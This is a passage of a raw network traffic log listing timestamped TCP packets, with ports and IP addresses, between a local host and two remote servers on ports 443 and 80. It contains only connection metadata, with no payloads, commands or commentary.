Dec 6, 2024 22:08:49.487030983 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.487040043 CET	49790	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.487042904 CET	443	49790	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.489095926 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.489103079 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.489185095 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.489294052 CET	49798	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.489301920 CET	443	49798	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.492218971 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.492285967 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.492335081 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.492422104 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.492436886 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.492464066 CET	49794	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.492469072 CET	443	49794	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.494304895 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.494335890 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.494411945 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.494539022 CET	49799	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:49.494549990 CET	443	49799	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:49.593980074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.594103098 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.594151974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.594193935 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.640739918 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.640916109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.641036987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.641036987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.644783974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.644850016 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.646243095 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.646291018 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.646457911 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.646498919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.654480934 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.654556036 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.654709101 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.654747009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.662638903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.662719965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.662873030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.662921906 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.670849085 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.670907021 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.671082020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.671258926 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.679110050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.679176092 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.679349899 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.679393053 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.687179089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.687246084 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.687383890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.687427044 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.695372105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.695435047 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.695605040 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.695652008 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.703589916 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.703672886 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.703756094 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.703799009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.713984966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.714066029 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.714279890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.714448929 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.786154032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.786252022 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.786423922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.786467075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.790117979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.790391922 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.832879066 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.832935095 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.833092928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.833132982 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.836703062 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.836759090 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.836935043 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.836976051 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.844408035 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.844463110 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.844630003 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.844676018 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.852045059 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.852097034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.852281094 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.852333069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.855860949 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.855910063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.856097937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.856153011 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.859771013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.859819889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.859988928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.860045910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.863540888 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.863585949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.863890886 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.863935947 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.867475986 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.867525101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.867693901 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.867737055 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.871104002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.871148109 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.871332884 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.871380091 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.874919891 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.874972105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.875144958 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.875191927 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.878808975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.878856897 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.879091978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.879134893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.882628918 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.882690907 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.882864952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.882911921 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.886424065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.886468887 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.886640072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.886684895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.890302896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.890361071 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.890518904 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.890564919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.894130945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.894177914 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.894402981 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.894448996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.897943020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.897991896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.898190975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.898235083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.901751041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.901798964 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.901966095 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.902020931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.905585051 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.905641079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.978132010 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.978307009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.978355885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.978395939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.980022907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.980073929 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.980407953 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.980451107 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:49.983855963 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:49.983912945 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.025115967 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.025238037 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.025367975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.025420904 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.026988029 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.027038097 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.027159929 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.027206898 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.030493975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.030540943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.030724049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.030770063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.034003019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.034054995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.034216881 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.034262896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.037576914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.037622929 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.037765980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.037811995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.041127920 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.041213989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.041354895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.041404009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.044636965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.044688940 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.044895887 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.044940948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.048173904 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.048218966 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.048415899 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.048459053 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.051799059 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.051862001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.052016020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.052062035 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.055278063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.055320978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.055522919 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.055568933 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.058958054 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.059003115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.059194088 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.059241056 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.062371016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.062442064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.062609911 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.062649965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.065965891 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.066018105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.066198111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.066241026 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.069488049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.069533110 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.069772005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.069838047 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.073059082 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.073126078 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.073249102 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.073295116 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.076575994 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.076637030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.076773882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.076822996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.080156088 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.080219984 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.080389023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.080440044 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.083683014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.083759069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.083940029 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.083992958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.087256908 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.087311029 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.087497950 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.087544918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.090759039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.090817928 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.090991020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.091042995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.094326019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.094383955 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.094518900 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.094562054 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.097902060 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.097960949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.098150015 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.098196030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.101409912 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.101494074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.101660967 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.101716042 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.105009079 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.105104923 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.105241060 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.105292082 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.108485937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.108536005 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.108735085 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.108782053 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.111591101 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.111640930 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.111814022 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.111859083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.114470005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.114528894 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.114690065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.114734888 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.117368937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.117419958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.117588997 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.117636919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.120202065 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.120249987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.120419025 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.120464087 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.123095989 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.123147011 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.123351097 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.123398066 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.125953913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.126000881 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.126168013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.126214027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.171262026 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.171369076 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.171503067 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.171552896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.172722101 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.172775984 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.172946930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.173012972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.175625086 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.175695896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.175899982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.175950050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.178518057 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.178570986 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.178740978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.178790092 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.181375027 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.181422949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.181586981 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.181634903 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.218564034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.218626976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.218792915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.218839884 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.220060110 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.220114946 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.220315933 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.220361948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.222688913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.222757101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.222907066 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.222948074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.225388050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.225439072 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.225611925 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.225661039 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.228205919 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.228255987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.228420019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.228468895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.230952978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.231005907 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.231067896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.231113911 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.233484030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.233536005 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.233716965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.233786106 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.236123085 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.236175060 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.236399889 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.236453056 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.237812996 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.237860918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.238037109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.238082886 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.239600897 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.239650965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.239780903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.239825964 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.241262913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.241316080 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:50.241561890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:50.241636992 CET	49789	80	192.168.2.7	185.215.113.206
